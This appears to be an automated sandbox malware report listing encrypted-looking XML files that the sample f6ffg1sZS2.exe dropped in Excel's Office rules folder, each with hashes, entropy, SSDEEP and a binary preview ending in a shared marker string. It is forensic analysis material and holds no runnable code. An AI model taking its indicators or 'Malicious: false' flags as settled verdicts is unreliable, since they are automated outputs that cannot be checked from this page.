.l/.b3@...0...`..S.QH....]........ .K..#._..5yv...:..Ws/Bo.Idlj,.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.786048107955486
Encrypted:	false
SSDEEP:	24:2cDJktPoLRUNTSLchG7+aFX9lA/mGO4M8b1GpKcxjbD:2c6PoLOlBXUnA+GBMO1Ggcx3D
MD5:	5049E1588B6129EEBEB72B4DD1ABEC39
SHA1:	DF707F1236F5CA8EF858101C139764FF15D759BE
SHA-256:	71F35879AC704CE570AA5070ECB3B236B3F7FD4A36594E71ACBD15189D7D6C2B
SHA-512:	3FA0178BA5DF9566B9ED6AC39FE73EB8F19BBADF4F1DDE492348E7670C27549892DFD8C0FC7E5D426D25A090CABC66CD5F01068A0187DA2010FFAA927C543AE2
Malicious:	false
Preview:	<?xml8......)E/.f....K.%..H....V?._....e.Bj].....x.4%....Ni).N..".)eTR.pCXM^Tz.....d.".....I.....\|.N.U.+..e..`H...<8./3!s..O.....I....R..z,\..$p$...bc!.\|U....L..y(...\...r.......j..0Z..q..S....N.....q.%.oi..q..._.v)2.......YV...C}..c..C.S.r.:q.u...:.../.&...4fg...@.9......`.J..r4....P...h.......vf..&.bM.^;%....S4...?.tt.~...BB..S8Ga....W..Ww..Y.r..H.B.\|.CQ..Q@}....Rtr.}T.....cp!...m...../.J..\u.........0.%..E-c.{}.9g..._.....+t....Tg.*.i..Z.u............-\.Z..L..5W... e;8/i...K....m..\.,.o....)A....L....9].v.'J..9o.QZ0.@..#0..d...H"i'.g7c.!......_\|.....]...?.$'..a> ..$..J.I.F..RI.j.......`.2%...'b-.....'./.)gj......g...zgR.8........y...........nD....tO..d.M..N..@..!.........E.g.1h=.4.O.oX...>.R...F......rK$..\|Jq'..Q.... ....._.I.XY.LLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.736735243694408
Encrypted:	false
SSDEEP:	24:i2jplcXsq1is/gNK1rgIk+ufVCQYCdGw1qigfHSt3wtzqy/bD:iqcXd1is/El+ufEQYVaqJfy1UqaD
MD5:	B431896013D29C64BFC339DDFD63D237
SHA1:	20932D496D41E70CEFC0785BF96290829CF2B5D2
SHA-256:	CCDD5DC91D74DEFB0F950954E2D09870A5E4F841581D7CE44E2442021E7C0378
SHA-512:	17B13762B5B2B0A8397F5D34A3ADEBDC031A1EF42EE826C25936D69349F4D36E164B0027241BEA437E2CA5D8640EBE2112F0DB0DFC360FA929BF13CF36ACBFE2
Malicious:	false
Preview:	<?xml.I[...?.s^;jM..#.h.E.z{......p.... .S.Y...T.b....^.T.@.v....Z=gt..t.7...}cJ...B...WX{.{u8..........6......r.:...8.D~.._.Zb!.......at..l...6$...d!...S..8KBR..H..o.]..?m.7b..J..#b..0I.$...UR.X;..$n#..A.N.<..z.........8s.....p(..Hx%=...y.......q~....t&.....2..-O.!..L-.r.% ..r...}MG....B.S.yX..)c...W^$.2./,..\...b....v.f.VZ.T.....A...l...OXB^.Q..@..E.S$fc.A8.....l...n.......$shE..b....l.....U..}gT=..'.E.Ob.=/..\..@.>.....-.,.'.W.x.j ......;..S.\|a.;._.........T{..~.....B3v..P.;V........&...Z.{.....e...;..[...y'.Ea...m1.G9.2....0...F...C.[...XZ\|...n^nj......."s.....z..T.t.TS7{.#Z....@..@.9...qMF.h.0...[Tf.VG_W..X......?.L1WjA....-..H..E~;......+.Y.".j.s.U..N..........80<..._46.f.XL..[...D.l......f..g)a2..'.......h....v1..C...J...\|....=.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.754093926801575
Encrypted:	false
SSDEEP:	24:LTYhIPvNSZcj8nEiG5ELTMMeboPnF5uu0gcqmdbD:LTHtDj8EYLTneMF5EgcqmdD
MD5:	0D3300CBCFD86B8FAF1103BB2E0BA0B7
SHA1:	D131F9AD2C9DBF6FDE755EECFA88046A53774556
SHA-256:	71DA7CEA70567BDF17C809AE845EE1422CF223865384F813396E9B56C28605F6
SHA-512:	A113D0A2F504EE759351678F399F9E8F48B618E797A722A634CCA61C882B8EBC4F0B496FFC90D80B30412C3C616B1C3AE0D9A6758D348BA80051C6EB0618026D
Malicious:	false
Preview:	<?xml..9.~K.S..M...jK_.....b...........X.#....`.K3.).>...w..E...K...>`.=...j... ..C.....Nv....$...Vd.F4.Q..ms.@......q..r...P;DU_.?J...S;-5....t}....&.3.R...w.>..-...g..go.....u.][.....BtG.R..V....NI.[h..b\|.y=..H....-.c.{.^.4.8@q..ryq`.6.o....'bk.'.%C..zc......(.6k.QQ..Qj.......Uz.?...bO[u\|. ........oa.H.\|..\.....'..QT....6.gi.EJ.......'@.{RM.L'.nC....B....}.$..aZE..+.s..L.......5.<......#.l^m......F...YHJS4&....Sy.....u.....?..H=!.?_..l.E.u..h.....5...:..G...R...6Xp.L(...M.-.nI1...2...<....Z{...A....;.....e..J..jWW..%jr..dm).'.......Q.,..../S8.....m../3K....PX-"I..d9....dV}...w4+U{{'\|.......c.'...`D..*..u.UMp..JP.@.;..Qs..i3C....V9!s..G....A....f.AN._p.....XrE........25.93...G.g=i...w......V.z..].^....a..f:+LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.800117431863279
Encrypted:	false
SSDEEP:	24:lDVNZ2nphKs8G60maIlqL4jdDr/eKqJ8VZlbk3bD:lD/sO0mU4jd//efJ+bKD
MD5:	C7FBC514D4C873CDD950F4903EACF3CE
SHA1:	0BC081F7D1F9CDCBA4BDEC4344ADC10BB6551705
SHA-256:	0BBE0F242E86E28516D71928BD2825B1972FBCCFB8252875478D1228A093AAAE
SHA-512:	D6709A4EF0E92C076A78CCE19F32861266786AEB90E70ECC8D59A25B62E89997ED86113CFE84A0E2BB5FA90276DA0329208DB2F50C4BE151ABD1F7A31DFFAAAC
Malicious:	false
Preview:	<?xml.v....O..c.8....E. ..a..s...v`m....5....o.d...m..6.H/.)..Z..;E.'......K;..e....t.I..=.....;b..d.D.1.0.1......A.. J....j.Q.xs.s..7$r.{U)..Q......O.&.'~.......^.........i.oP.d.....T.....2v..k.(..'....5...F........G{.Js?......;[....N".i.>....]...4).....4...s.Y.....Y.\|".s:.q.>....by]..:A.....w..4...._O.k......2..........[.9g;.h".0.kIOJ9].T..D"...@...PB............2M...i....C.`"..\..k;u6....6.Gj....w..xdr+{....<....69.r.q.A.......(...{.L.0-y.-%,<..(..me.3V\...u.....:.r..>.st..._.b.K.i....$Q..63.t......WQb.r..u......................t.3+.O.g.w.g...yf_..v..K...fP....q.+._sy.o.....`.(uY.;pB...'2.&{....#p..WmF~.&..H]._...u.E.nH.....-Z.L.=...^{..h3....z....;j..y.p...6C.R..zW\|0....... .....P.h....L....u.3.St(2.4.../vk:_.....4.e,..%..G..#.M...Mn.f.9$1...s.p....hY....Rn.\|.Z....3....2.....s...P...s.G[...6.....Fw..%..h..,....z/'...A]@O..N\.A./..XZ...P..a.zwm..=.,...L...R..*..S.....m.q.2]'.gQXs..$..n.=.c..0..+a.LQbDo3EfIVHxGuJOWRJdm

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.708037198685069
Encrypted:	false
SSDEEP:	12:+llybV5U63UwE4DoA1Myu0CrEyDeH0ALu7cFMNHpSWAa2RvpHS2cii9a:+lluV5UuU14z1swy6H0ALuYipSWAa2PX
MD5:	6DF50831CC4087A61776A4BDE6A4B96D
SHA1:	50E9341A87E83DC1297C1B97CE7386A2E55524B7
SHA-256:	FB97FF207A30C39FB5F4FF108F3B2B2EF212FEB6830FB35EB252180B08E5B853
SHA-512:	955A96EA03ACB06DA96987BE195216E906D3C3CA8D9AFF04B6B7ABD3BC2F78A05C8B2BAB509DC462ED4D0A262FC02DD9B727EC1CF09A1D5C3CE34D85D4164354
Malicious:	false
Preview:	<?xml_.....a.P....vh ...#Rw>....De.1.`.8}....L`'.&.].C. "..)h.1..<.,....l.3.5......:7.....}b..@.\|...h...z..s..8.........j.:..a.._A..(o..T_...J.......G.w1.~.l."-./..n..Y..;...@rc1-.\|..B.b.#bk..v...x..<..n.,...ph..bn.3.MbS..@..}y..[..&J....../..w.D}.B....U.Er...`"9....c=......37.$E.........B...'zi..%.~t.0.....:.z.rs.vK.}..........9=...)..u]....i...4...qR3.....+.E.T..-..DA...j..'.....<+.D1:F...A.....$k...d8......1...70.p..g'...8.0vw%.m1.....A. B.....$^m.N]ie5..Wj,( p..'!...j.9/W........j..2".H....D....18gs....k:B...wi.....w.......J..E)(.n;....R0.h....Oll.{..7c.)..z...OX..)......&....[D.v....i....\T?....i]......S^oH..A.Y..0D.~b.h7.....3..Oy.'M.....5!rLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.776350804940667
Encrypted:	false
SSDEEP:	24:uIJt2YStB3QODZMUj0P9bQYCLrHlG5NbRXG2ZkO4mfbD:Xgl/0PhwLLKG2Zk/UD
MD5:	1C8F72A6C7CC2FEB3AD8FE7915F10905
SHA1:	4284E265D88515F74B5D543F6CEEAB732EBA12FB
SHA-256:	037154D9CAC2387CA8EEC65E2B5985054221C1E211CF35E58ABC88B26C5DDE9A
SHA-512:	BD4A53174C90BEEE16CA064F02039B91F8ABADB492F61A525207CEA54D400240349592CDF00E517B7AAFE0D442EC70CF404C0F7621A12B7E831DDEF689307A58
Malicious:	false
Preview:	<?xml.2.RO+5?.,k.........x9.......G..,m4_...G..;...X2..K.I..>2.x..jyd'F9r.yY.3.6.iy...z.>....0.........5;..b..........Z....;b.E.\|...w3.3....bXnij...m...E.X.B.....0.Q..A.....y.!.g+].<....F.^q{.7.x.VX.......VP.t._.......-5MQ.....0...s"..q.!.8u$..`.PRF.......f.R..n.k...Z.C.......Rsc.w..[.u..W5h.....&.50U.XE6..D.q.=.H.6..q.._...H..]..s....ko.a.5....5.U\...;.{.<.S<.7...\....;.P.9J.Ez..N.W.N..../#r..:...1..#..0M\....y..5.l!..D.......P.f.v.6..e...S".8.).2.b.Q..7.mz.M9aG.=_.n..Q.....h..h..o.9...BS.}..i..d7r[....Yn.......m..Gu.2.W[X.=.....)......;.cl....f?e....5h.ggT.7?\|.`B..h.6J.....#:O`J......".%.j.....5.!<Q.@.a.Y....)/nK.N.$.*.$."...N..9.B..E...?(....n...~.....'I7.h.......x...#ui.co.)...V..p..W$M[....bp...(.."..'..Us5.`.]Km.....'..6....U.....wBR.#...'.Y].L.N..\|F.....N4..8.L.....I......#?^H....2...E.:#..i8.......K._.....__...L..{o...D....oYn.._.X....d..'...xB./..f.H\.\..O....B.Z..a..........F8.S...6LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.769769443058704
Encrypted:	false
SSDEEP:	24:BQA+yaKgwEYiEWg/GxvAxgrwtLjkjepvibD:eAUZrYiEtWvAirkjIyoD
MD5:	9D6DF2A19B52537A274D325C376C1FF3
SHA1:	A1B0F1C5819435C4C155DC945EF25B2F16189416
SHA-256:	B9ABAE7E7C28A65093882AC1BAE8562196C913179A232ED46262E191C5B150B6
SHA-512:	2C563B892E4F13B9CF7CD31A9FC7DBC617CB23AD2019033E5150F3FC745DB1ADFB9C541B42BEEEA8C730CFFC45CB432F36E00CFF84E8FDD1334D995F0D6071DF
Malicious:	false
Preview:	<?xmli...D........=>N_.&....^.....T.0'.jc\y......}5z.H.#I.f.A..n`...0.DM.....zC..-IRfq.1&.~k ....I...aI.Vn....B.z.}...."s....h.6.!o....}..[[.a.?/6 ..CQ.s.S..Z..A...c....:'.......L.S..qaC..il{..d.t....o.1..2._..C.L.$.l.W....}c..%`.o.:....d..+...`7..L.<..]...6.H'q.).t6fQ7f....z............~e=...P...P..A<4....._.L....\/m......2G&6.8.V@...j.9.J..q....$.......k.gD.Hc4.b."...K}....Z(.$..?A8...}.igo7..dj.cKe2..r.k.U..X8..D].._...<..7..>..3.v..8..Me...b..x.<(~..g.....w.-...........T...2.{.O..1)'.48.r.q......z.:<...X.1\|.D...k# .~...;.53...]b4$..p...`J.....+.K............\|..............Ctr.M+7.y.l.2.d.@.^...,}...st..3.af.s..{..`r"....a.$...D..J.......B.RF.q.......x.yL*s....@.&Gu.......K.{...$<..;..J<..G.....l.&R/......#8.rd...R9^..R..x1..Jw.F.z...a#......[\.X.S.^p..(x.....V.Se...\|.j....5..~.).=LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.84299555465615
Encrypted:	false
SSDEEP:	24:wqndzZH2puyspBZ8+3h55pe4qX5vTFHRh9ZNITh+H7uKphUbD:wQdzZHLRzD33yTvTFxUh87XpMD
MD5:	6ED79C6C949C90854C54D329877DE3B4
SHA1:	DBCA00588BDD277B8A14F3F1C7CA6A038574EA50
SHA-256:	CE3AD8807D280EB08A1F96E992CBE4D707CCC726D4B5299AF6FDF1FED264E10B
SHA-512:	E3A8C6C1B7D7800BD867F87DE127F5342F904F5F55C26E1D153A63E084218FB979697FE233AA4E3990B90817B41D8CE6392AC8F01A2AFC0A9C74485319A46005
Malicious:	false
Preview:	<?xmlM.$,S.M.Q~az..P.}.\|-"&..b...#g.....\|o.x......U?.....H...b../y:{..'..R..6..3..h....,.O....+......n.+............qGc.0_.B....8......p..]:..X.\`k....s-.....l.J..`!Br\|(;k...s.. .dI8...&O.r.+q...".!-L..g._.........8....=...0t.8.....<....T.Q.+..>.0....LA...W....S?.--(..)..m.]..2s......l...$..9:...K.)H.....e.....^.C..6...^.,.a..n...wf......'........;Y...o...#~.=.{B..Vm..21...jWl.M......4}^..#[$.w.w.............QVN......(..Gw...M.).f.S+.02.z{...&r+\|H...L.C9....>......0......nH.........D.M...._.g'......#......l..8HA..6...}...SH....z=.\.i...........)UC..i..].K...z....0~~F;...".`...Nx..eRE.r@.d5...W?.X.X...."..h>..,sW.>Q.a#......de.dc%R.. .).Aj....q...g~o.b..A.d....s2....;.}...O.V..I.E.b..R((..`-)>....b.~.S..a.....OO.=~Ws../..e ^.....Y......:P..>.q9.#7....%....8....I.J...Ai..)..K.....J....L...qIa.....F.N.. n.W:.q.@9....B..u&....u...g.].OH.3rH.[....t*;.V.Dr...T..z#..e.A...,z._/c..C.37..sh..^2.....YG.-z...m.....\[..`.r(..?...h...k!]m=^.cD.{.\.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.841097490810418
Encrypted:	false
SSDEEP:	24:rlzXsmqefZ6HrWAPpIdYNES+dq1SfzcXa8NLXX3LbD:rJstrW3djfgU2zNTfD
MD5:	43252E3B20794D7197AF16F90F26B9EC
SHA1:	57715EE9E5702544353EC263F9E9701CA5D191C0
SHA-256:	9EA9E0A2D7F831E6B8816BCB702BE65D4B554FC4E333B3D213CFCC5659CEBC4F
SHA-512:	D85230B1D82421B898E79214BAEA52B5543134600EF7493CB4E5EB5A67BDF8AC4DACB0FF01C39BE680C66F50D6E105C447A55D57291E9C3F02F47961EC7C328E
Malicious:	false
Preview:	<?xml....._......9..8..'S.5.....w.3}x...a..#.L&....{..W.C.;Ys..K.d.,.A.V7..A...=.a...(C.\|..<..F..x.x..B3.-.$..}....BD...)/6._...{2.n.}\|.N.H.VB1.+.:n.. .../%.n?u6..?H.`S.....j~.m..5...c.c.....(.g.:O...5.#;.....21L..a... ....+.C..`..6..`._\L...,f.6;.h ...E.vt$+5F.9U.E....Mj.+.....*u..S..O-myN..Fl&Qb..._.T.."=..(..`..tU..-..,...n...[.,..g].m.y...xw...8..F].6..%...nt..a..v..j..<a ...........E.Tr....I.....(.y.u.D..?.B....Z-..(..G..`>.yO[.b..i?kv......N.xl.j.$...[._R...'..u...8....~.ui\......u..S...c...........J..!..\.Ye.Lv..ss...$...../F.t..4.I./.........aj'..~\|...p.Y.....tZ.m'E..#gW..q......A:...._....Q.S)]....V.v....W....[..z ../.:..<9@.d..y.'. {q.\|.. 0.\.X.4z.N.l>.e.LX....W.B.....:..plu...\|g..A..H.y.M...z....K..+..aY...R..../..qo.Z..K..li...+...5.".g.,,o....L.@^...w=..h..D.....c.t ..i...E.\|E.....!\......V.. .D.gbCY.0.;.w..^.U.f......d0.....>a..........H......$.f..%....m..7..g.t.......G<.....K.$.hs.v...`.......Z...8..2m...C...nO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.840579585764581
Encrypted:	false
SSDEEP:	24:OwSZxz5D3JDO0Sdts4vlggcLXbvwW+iIokqQGaTEGKIM9UcbD:O3tD3E01mWg0wW+ekqzvIx2D
MD5:	C121A0EDB50FEC874865681DE66B9ADD
SHA1:	9D1B1FD7C19BD1665488F31A212F4759095529C4
SHA-256:	9A9448B8A24C739B2F8BF8589237209F6CBE4E265275FA3D30C4A271EA07BDBE
SHA-512:	992C4E107AEB99B4CEC9D461503EB33880DD0BEAF8B07B6D753046CC594EC7DEBCBA0D0375EE7D93B905B5F827D5C963B081999E23A48E938EE757347F423A56
Malicious:	false
Preview:	<?xml.....1.......35/...p.2wV..)..]:......T.XE.......}......]1.\|......&S?...^.U7.HG.I..X......?/i.4....R.....I.&......~.P.x.r...I.g.QS....rzl%p.6..]..t....\j~VN.[V&.......U%'..l.c.M...\|.)O.q..(.d......$d._..l."E...p...\|..7.P..W.....6Wf.zql...5..34)..nw.x...!.)...y...)..:.^.~.......X..:......8s...+.S./..)YS.\|p...Z#.........r2...x....f.../.]..~%M..ez.LH......9..!`......2......._..w..#x..!R...\|..q..7+~.Pg.\gw..Y...Q..h0.Hs...;.B..bwV]i...Y.fv.~.=."V......d.gJ.\LA.H....O.....@s......^.D...>.] [?.'..8...........8f.<.._..<....r.U.4.<#G..<.....Y....gy'..]...C.......}1.k.M..>...i...=..;..'.UGq.....0V.M.I{T..).....{nl/,b...Yb.1;..,..!...gJ.>....TV!.....un..{'[.pvd.L.@A.Klo.(..?..}RXFm......?_.Oq.\.....[q)....v./.-{X0I...0..@..Vh.\5..:....+.~.%o.Q.<e....V.n.9..>....-.#.l.*...._\|.If.-(.\?j..T.....P.#...[..b.....]...(.w...~.A1\T..CF\ Z+..a.GK...........D}.).,.-, .b..N{..S-.d...R#v.m....d.#S.S.^_G..7.....E..;_y...<...t.........%.R.c.6.o....?5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.826892698750849
Encrypted:	false
SSDEEP:	24:VIMi168dSj/UuLClONUhg2tbjnJrE9hDbD:VIMi1tSNC8ra1E3D
MD5:	C9FA7718CF018524BA01955A6DB2F766
SHA1:	6F153B78FBE51D2DACB528A5E52E756A776A23F7
SHA-256:	F296DDC76F2D8BDA1C3BBFE4B91BEFAAF28D26BA9AC24D6DD3CB9DA318195473
SHA-512:	8FAF6097DAAEC34CF7678B1571D9184E925182D496FC14E4188730D9AE5199B3B0F43BFECEDDE0E2842048301F345803A231F6BA6F039ADD3D54F43CEF9E01FC
Malicious:	false
Preview:	<?xmlJ..t].@&.V>.>hC.zAq...!....VzHA.o.lT_..D...v..Y........}....._lW1.."yC.(...-U.........1....x...;...eo.....$.....:('q+,.D.C?..a........}.6^{.._.2....#4r...w.Xs.V.e.. ...h..[.R\o#...O.........>...L.j.Qs.w...a.-.+C....W>d.@J...nV.PX..;~....C...4...d.re.W.d.....l%av.VR.l..[7..1.. N..+.aKK..d.=...A.G..W#g.G.d:.M\|.....%..:E........&D..).l?......D. n.%.\.>Y5..QA..r..7.6...<.8.K/.rz..Pe4...$.&..c.bGJP-..P.2.......q.@B....h.0Jq...._Qfu...W[....C;<S.h..@..&..o'.Y.._.0)....].F.........q..(#N.....w....l...O_.R...2............;.Y...2A0..Rv"....o...sJ.9A..6CU.0.E..7.'5..=...s> I.]3z..qDi...=o1.m!)\......#(.........?.HS.'.6..y.i.d....`.'...]B.[..$.0..ba...m,P..g.].s1B.u.I%.....y8.x,B...^...a.-ZHx....K..d..V..hR.T."`.G.sI.$..Su.. .O...)Y.f..5r.\|.<3..$.oD%F.+_.`VW.\.Sm\|..7P.y.}........5F=i..N.z..]8.%.g.r0...f....`.#v....4b...iX....t.y.<^.h._......Cl...+'..x...........n.....>..4..\|.z...........Xc.k..[.i.<.lS.....%.We6....O?m5&..[....D..X...E..$.Yh..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.824586827558469
Encrypted:	false
SSDEEP:	24:c+13CSAF5KIz7DEpkNAIPzgBb+SoJTkOgm0qX7Nxi5K2x25s1FzbD:c+SF5KEQpkNAQgb+SoFkOEqrNxi5K2xd
MD5:	FDF0E5E2DEA50DF6F8DD58FB7CB3EA86
SHA1:	4D012D4690BB2782C80865C1EF1928DE4AF1CE33
SHA-256:	024FE409F9E931D362564C619B8D2DC6C5B950912BF4540FAC65B595A1BCC688
SHA-512:	93161EC7D72DCA62A96070370D5DEAF918DA4A2A119D39CBA7BDB321BB94C979B1C3DAF896DAA4F71133C86B421243614A348BD37629BB5BF6CF2BCF154DAF9B
Malicious:	false
Preview:	<?xml..=..k...%?.....&.@..;...%...Y..ry.u..$...D.@.c......R......b...e..Q...rNM..-P"C....,.,....4.,.sm.3..I.>.I..G..a+....E$..c1.N8.d..=.F.LD."....._m.....l...g:@.-.....0.......M.k`......+...1.g.Kz..%8..+...?..A.59A&..IW......Vd$$.....^.(.E.N/........$..4.T1\....6.S4(.s)..Sq.q[.w..o..5.....`ql.........m.F..u.....~j..L$.u.......f.w-A.?.2Pn8n%.!..)}..L..&.:......jY.....M..............._.......c)..Je..J.......bM.=i:v...~._..d...H!......w.7j.....n2..[..lzqo..':..$..V\......@zj..]..?."..{....4..&/.2@...g.........D.d^..1.5-...........[...Oc.......Lp.j.........2Q..=..gk.....f.w.ub....Ma...^.........a.Kc@O...'.7.........5...,..H..g}y-8lWuWy..5g.c..J.[........L...d..iM[.`.B...@....;.._).M.....b..1.Zj.....\0+a..}.m3.\|:..h.d..Uu..\|-....I..V....\|D...{.X..;l..i.....y...2.Z.u.!P.!...:.j....W.gp..ThW=..'c.....r'......na.G.0.>?.~....9F.Z.n\..fQ....q.I...FF....";...%..d.[...8..0.A<<.@(...!..........`.b.. ...s.u...].={..-@l..... .gnM.....*...q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.798605940265677
Encrypted:	false
SSDEEP:	24:/VTSKM8rDt2iY+iNWbF6WRto9JSDRb9bJxXGtGznyh0bD:/5SKbrDf1usBbCGUeD
MD5:	0A8C3DE7DC40BF8985F3BEB5B162ADF7
SHA1:	E7EE495EB086B914CA0AEB795DDAEEEC47A22158
SHA-256:	9A2E79A56B06AF4D6AD77AFF287F6E032F7EC3EB4E6E7C0E49BFB948C6F05E52
SHA-512:	D22A2CD164640594493A5AACDB9B01785823F8E561B97E0DF6FDD7DF6837D2715F170B39889F3CA0B34282EA1D72B644B11686A574707245BBB7313CC4CAF6FB
Malicious:	false
Preview:	<?xml....."..`....L..u.6.........c&..yh..r..w...`...}..}.aM....^J7-.sx.'....-....t9......~.d.3.hq..T..y...rof...._.k...A`..j...%.Z7\c.6.._.A;..L..L.....je...I...eN/~L[.,.J.M.6&...EF.Cx.f..i!....B.2.I..(.....~.;.sfr.p{...6.i..<.@.n.......g?x[.%.0..\w.....K...M......GH......q-A75:.e...?#_OJ.=y..e7.`.T......s.N.&..N...2.E...TR.........L.+a...4ck......"..........3'..J,........\|.-..]..Y.3c..q.......O...7...9z.q..1....L//..n.6ro.K.....^2...FDvA.I7.i+Q.7k..v.Wm..2....f...0.>.n.Z.?..&B...8.<pL...?..>T....A@.M<.e6...~..K...F.}......1..I...y...s.+...~..EeX.e9Y.....^.E.M[?.#.o...w.....j...~8.O.u..`.s......"f....a*..W.0...I_~.......O..14Xt.x.4..1....9P..L..JE{.....`.Vi.z....gV..iSj...f..:....~.c..)#.{{...)?...B9....T..:.%W..c....d>$.}.\.P. 1..K..).......z....\..p`Z..8\.VR..f...D.@....%.2[.H>..[.J)J.^y...wp....\|.....v...rLfF......i'.Y^..M.b.."..0.k.$..n..z..I.=p7......8...}.d.CJ..d#C...}{L.w.....0T..1.i....u.I.lf[P."....;.8..zw.....GB'.D@.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.76079735890533
Encrypted:	false
SSDEEP:	12:8lplkrQJV5+sqQTvLMh4pq9XN4+Ix7uO2/Qo7K2gkKjY3r1Y+/dBVQr44cpkvS2X:QcQEdQhok772N7zKc1r24VEbD
MD5:	5F251BAF708CBC9B838DE55F4ED62C7A
SHA1:	CBDB9FE9F4382B3F625CD4753926D6F86CE1D352
SHA-256:	4C800A0F0672F849380DB5B1B32796E8213724987445D95653EEDE3B0C6AB8F2
SHA-512:	CC1815EFA1A7BE42F87E5E46D316440EAB2D0A25C84EA4CCAB226D0A68E4AEAF257E6BF871792F399D03F6DD8A448FF46FF567735B56479BF9753B6A2956DAAA
Malicious:	false
Preview:	<?xmlA..~b;tQ......t.0L.z.f.... .A..i.()6:T..z.Ip.I..h./..._.2;N......E..K..Zkv..sG...[.M.:.:..P..G.H....P[+Gg...op...D.{[.=.-..n.T_>....@9....F....5,u.S.\..a+..,\$..S.T...C.....k.n."1.B....$....wU:.Y.......,......../pt....B...lY.Y..i..T...si...+..'...ugm.p.m...z.\$.hpv.W...U.f.O:.....7{.+......g.?.?..2..D.=sg..~.p.......1.>.vX..h. ...).18....Y..U...<..R.....D.A...wi...8..<.o.4...NI.F}`m.../M.[...."..6.crl...L...V..&!E..V.n.a......b1..(d.6uP..5.C.&%.....w...x,.........z...\|.]...HG..}kk..75CK,...jr.o.....o.*....2.b..n..0.a./..>.a.6....yU..1..9..S.qw.s.Xz...s(.cA....e./..XR..=...?......Q.0...RXq..w..vW...F..Y..@.m.q.K:.........O..!h.q`.R.\|.B..y.......S@.,....{/.......9..8.T...v.S.....p...W.z.....[5.:.DN...a....d...HLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.719942741696619
Encrypted:	false
SSDEEP:	12:N0X+U6ObhVfICPad4Ywlw8Oc2XdmvTDkTzjFN/fLqfulj7N3ka+xLpby0XKS2ciD:N0X+BoVAg4ew8z2XUkTzjTfLHpNUTxL4
MD5:	4B231EDC547369532A38E70C3B016A12
SHA1:	7439416A01E42E1DF8060E512406E6E8ED19235D
SHA-256:	D569CED52F9B35F20C67B4BBF8D982BF021AF346BE10FFF2006758D028368C25
SHA-512:	DF53D3DC1AAE3A12A843455EFC35DF2FFD526B6D161D080D4057D7BBEC141D93B56DBC61FD058EE1B107E757D7AF494DB7F2DB0294B14A9C5288BF513091F46D
Malicious:	false
